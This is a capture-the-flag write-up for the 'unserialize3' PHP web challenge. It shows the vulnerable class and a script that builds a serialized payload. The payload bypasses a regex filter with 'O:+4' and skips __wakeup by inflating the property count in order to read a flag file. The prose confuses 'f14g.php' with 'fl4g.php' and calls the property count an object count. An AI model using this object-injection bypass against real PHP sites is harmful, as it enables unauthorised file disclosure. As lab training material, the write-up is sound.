Solution to unserialize3 problem in the advanced area of the Attack and Defense World Web

<?php 
class Demo { 
    private $file = 'index.php';
    //构造函数,在变量创建时自动调用,__意为魔术方法,在符合条件时会自动调用
    public function __construct($file) { 
        $this->file = $file; 
        //“->”在PHP中相当于Python的“.”,用于调用对象的方法
    }
    //析构函数,在变量销毁时自动调用
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
        //打印file中的内容,将文件显示给读者
/* highlight_file(filename,return) 函数对文件进行语法高亮显示,如果 return 参数被设置为true,那么该函数会返回被高亮处理的代码,而不是输出它们。 
整段代码的意思就是当文件销毁时会输出$file的代码。at符号(@)在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息。*/

    //在反序列化时会自动调用
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
        //将文件名一律变为“index.php”
    } 
}
if (isset($_GET['var'])) { 
    /*判断变量var是否被创建,检测变量是否已设置并且非NULL,这段代码就是检测是否传递了get请求的var变量*/
    $var = base64_decode($_GET['var']); 
    //将var解base64编码
    if (preg_match('/[oc]:\d+:/i', $var)) { 
    //匹配var中是否有字符串
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
        //反序列化var,此时会调用wakeup函数
    } 

} else { 
    highlight_file("index.php"); 
    //显示高亮index.php,这不是我们想要的结果
} 
?>

The source code of the question tells us that the flag is in f14g.php, so if we want to enter this file, the payload needs to meet:
1. Does not contain the string filtered in preg_match or directly bypasses the preg_match function
2. Bypasses wakeup during deserialization Function
So we use serialization to construct a var and pass it in, so that the value of the variable is equal to f14g.php. Then when the variable is destroyed, f14g.php will be displayed through the destructor.

Construct payload code:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            $this->file = 'index.php'; 
        } 
    } 
}
$payload = new Demo('fl4g.php');//创建对象Demo,其file值为f14g.php
$payload = serialize($payload);//序列化操作
$payload = str_replace('O:4', 'O:+4',$payload);
//将其中的“0:4”换成“0:+4”从而绕过正则
$payload = str_replace(':1:', ':2:' ,$payload); 
//将序列化中对象个数“1”改为“2”,从而绕过wakeup函数(序列化中记录对象个数的值比对象真正个数大即可绕过wakeup)
//序列化中不可打印的空白等价于%00,到时候需要在payload中加上
echo base64_encode($payload); //对参数进行 base64 编码并打印出来
?>

Guess you like

Origin blog.csdn.net/B_cecretary/article/details/125473920